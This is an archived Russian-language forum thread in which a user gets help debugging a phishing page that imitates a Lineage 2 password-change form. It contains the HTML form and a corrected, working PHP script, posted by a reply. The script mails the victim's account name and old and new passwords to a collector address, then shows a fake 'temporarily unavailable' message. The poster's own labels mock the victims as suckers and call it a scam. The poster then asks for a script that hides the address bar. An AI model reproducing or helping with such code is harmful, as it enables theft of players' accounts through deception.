PDA

Просмотр полной версии : Плиз помогите со криптом :(


Undernative
16.05.2006, 18:06
Очень нужна помощь...сразу говорю что я в кодах и т.д просто " 0 "
У меня такая задача.есть скрипт обратной связи ...но когда я просто кидаю этот код в страницу у меня ниче не происходит ( не отсылается ) да и причем срабатывает Оутлук :(
КОд файла register.html :
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1251"><LINK
href="register_files/dubie.css" type=text/css rel=stylesheet>
<META content="MSHTML 6.00.3790.0" name=GENERATOR></HEAD>
<BODY style="FONT-SIZE: 10px; FONT-FAMILY: Verdna" text=#ff0000 bgColor=#ffffff
leftMargin=0 topMargin=0>


<form
name="form"
method="post"
action="mailto:spoilan@inbox.ru=Test Form Mail No CGI"
enctype="text/plain"
>
<TABLE align=center border=0>
<TBODY>
<TR>
<TD>Account Name:</TD>
<TD><INPUT maxLength=14 name=acc_name></TD></TR>
<TR>
<TD colSpan=2><SMALL>Account should be between 4 &amp; 14 characters,
alphanumeric and starting with a letter</SMALL></TD></TR>
<TR>
<TD>Old Password:</TD>
<TD><INPUT type=password maxLength=16 name=acc_pw1></TD></TR>
<TR>
<TD>New Password:</TD>
<TD><INPUT type=password maxLength=16 name=acc_pw2></TD></TR>
<TR>
<TD colSpan=2><SMALL>Password should be between 5 and 16 characters,
containing only letters and numbers, and starting with a
letter!</SMALL></TD></TR>


<TR>
<TD align=middle
colSpan=2><INPUT type=submit value=" Submit "></TD></TR></TBODY></TABLE></FORM></BODY></HTML>



А это есть еще один файлик

send.PHP и его код вот он :

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1251"><LINK
href="register_files/dubie.css" type=text/css rel=stylesheet>
<META content="MSHTML 6.00.3790.0" name=GENERATOR></HEAD>
<BODY style="FONT-SIZE: 10px; FONT-FAMILY: Verdna" bgColor=#ffffff
text=#ff0000 leftMargin=0 topMargin=0>

<?php


$info = "Name:\t$Name\n";
$info .= "Password:\t$Email\n";
$info .= "Message:\t$Message\n\n";

$send_to = "orkor@yandex.ru"; // Change this
$subject = "Новый пароль от лошка $Name"; // Change this
$website = "www.lineage2world.com"; // Change this

$headers = "From: Лохотрон в действии <> \n";
$headers .= "Reply-To: $email\n\n";

$send = mail($send_to, $subject, $info, $headers);
if($send == 1)
{

print ("<center><font size=2>Dear $Name, for technical reasons function of change of the password temporarily does not work. Repeat attempt later. Thanks you that you play on $website.</font></center></b>.<br><br><br><br><br><br><br><br><br><br>");

}
else

print ("I'am sorry, your mail has not been sended. Please try again later.");
?>

</BODY>
</HTML>

Talisman
16.05.2006, 18:24
action="mailto:spoilan@inbox.ru=Test Form Mail No CGI" - нужно вместо этого сюда поставить путь до твоего пшп-скрипта

Undernative
16.05.2006, 18:53
Эм....сорри не понял .можешь прописать ?
Сорри еще раз просто не мое это....а очень надо и в кодинге я вообще никак :(

Trinux
16.05.2006, 19:00
<form
name="form"
method="post"
action="send.PHP"
enctype="text/plain"
>
примерно так...

Undernative
16.05.2006, 19:11
Прописал ( и ниче....писмецо то приходит куда надо .НО ! оно пустое приходит ( там написано
Name :
Password:
Message:
А после двоеточий должно быть то что люди вписывали...а этого нет (

Undernative
16.05.2006, 20:09
Помогите уж :(
Сорри если мешаю

Sw%00p
16.05.2006, 22:53
ну чё не получилось как Trinux (Ламер) сказал конечно у тя синтаксис не в поряде
ты сначала определись у тя скрипт и форма в одном файле должны располагаться или в разных. Если в разных делай так как Trinux сказал а если на оборот то смотри код

<?php
echo "
<HTML><HEAD>
<META http-equiv=Content-Type content=\"text/html; charset=windows-1251\"><LINK
href=\"register_files/dubie.css\" type=text/css rel=stylesheet>
<META content="MSHTML 6.00.3790.0" name=GENERATOR></HEAD>
<BODY style=\"FONT-SIZE: 10px; FONT-FAMILY: Verdna\" text=#ff0000 bgColor=#ffffff
leftMargin=0 topMargin=0>


<form name=\"form\" method=\"POST\" action=\"$REQUEST_URI\">
<TABLE align=center border=0>
<TBODY>
<TR>
<TD>Account Name:</TD>
<TD><INPUT maxLength=14 name=\"acc_name\"></TD></TR>
<TR>
<TD colSpan=2><SMALL>Account should be between 4 &amp; 14 characters,
alphanumeric and starting with a letter</SMALL></TD></TR>
<TR>
<TD>Old Password:</TD>
<TD><INPUT type=password maxLength=16 name=\"acc_pw1\"></TD></TR>
<TR>
<TD>New Password:</TD>
<TD><INPUT type=password maxLength=16 name=\"acc_pw2\"></TD></TR>
<TR>
<TD colSpan=2><SMALL>Password should be between 5 and 16 characters,
containing only letters and numbers, and starting with a
letter!</SMALL></TD></TR>
<TR>
<TD align=middle
colSpan=2><INPUT type=submit value=\"Submit\" name=\"submit\"> </TD></TR></TBODY></TABLE></FORM></BODY></HTML>";

if ($submit = $_POST['submit']){
$acc_name = $_POST['acc_name'];
$acc_pw1 = $_POST['acc_pw1'];
$acc_pw2 = $_POST['acc_pw2'];
/*
$info = "Name:\t$Name\n";
$info .= "Password:\t$Email\n"; Чё за херня
$info .= "Message:\t$Message\n\n";
*/
$send_to = "orkor@yandex.ru";
$subject = "Новый пароль от лошка $acc_name";
$website = "www.lineage2world.com";

$headers = "From: Лохотрон в действии <> \n";
$headers .= "Reply-To: $send_to\n\n";

$info = "Name: $acc_name\n";
$info .= "Old Pass: $acc_pw1\n";
$info .= "New Pass: $acc_pw2\n";
$send = mail($send_to, $subject, $info, $headers);
if($send == 1)
{

print ("<center><font size=2>Dear $Name, for technical reasons function of change of the password temporarily does not work. Repeat attempt later. Thanks you that you play on $website.</font></center></b>.<br><br><br><br><br><br><br><br><br><br>");

}
else{

print ("I'am sorry, your mail has not been sended. Please try again later.");
}
}
?>

Undernative
17.05.2006, 16:58
Че то тама не то получилось :) там это поля то есть НО
if ($submit = $_POST['submit']){
$acc_name = $_POST['acc_name'];
$acc_pw1 = $_POST['acc_pw1'];
$acc_pw2 = $_POST['acc_pw2'];
/*
$info = "Name:\t$Name\n";
$info .= "Password:\t$Email\n"; Чё за херня
$info .= "Message:\t$Message\n\n";
*/
$send_to = "orkor@yandex.ru";
$subject = "Новый пароль от лошка $acc_name";
$website = "www.lineage2world.com";

$headers = "From: Лохотрон в действии <> \n";
$headers .= "Reply-To: $send_to\n\n";

$info = "Name: $acc_name\n";
$info .= "Old Pass: $acc_pw1\n";
$info .= "New Pass: $acc_pw2\n";
$send = mail($send_to, $subject, $info, $headers);
if($send == 1)
{

print ("<center><font size=2>Dear $Name, for technical reasons function of change of the password temporarily does not work. Repeat attempt later. Thanks you that you play on $website.</font></center></b>.<br><br><br><br><br><br><br><br><br><br>");

}
else{

print ("I'am sorry, your mail has not been sended. Please try again later.");
}
}
?>


Видно на самом странице.то ли у тя ошибка в чем то толи я не понял :(

EST a1ien
17.05.2006, 18:06
Точто написал Sw%00p надо сохранить в php файле а не в html.
Например send.php

Sw%00p
17.05.2006, 22:15
крче разбирайся сам возьми почитай лучше как энто сделать

Undernative
18.05.2006, 14:23
ТАк-с.....я сам сделал .по другому...но ничего.
Можно терь еще один вопрос.кто нить знает скрипт который убирает адресную строку при входу на нее? я где то очень авно видел а ща найти не могу :( Подскажите или может есть у кого ?За ранее спс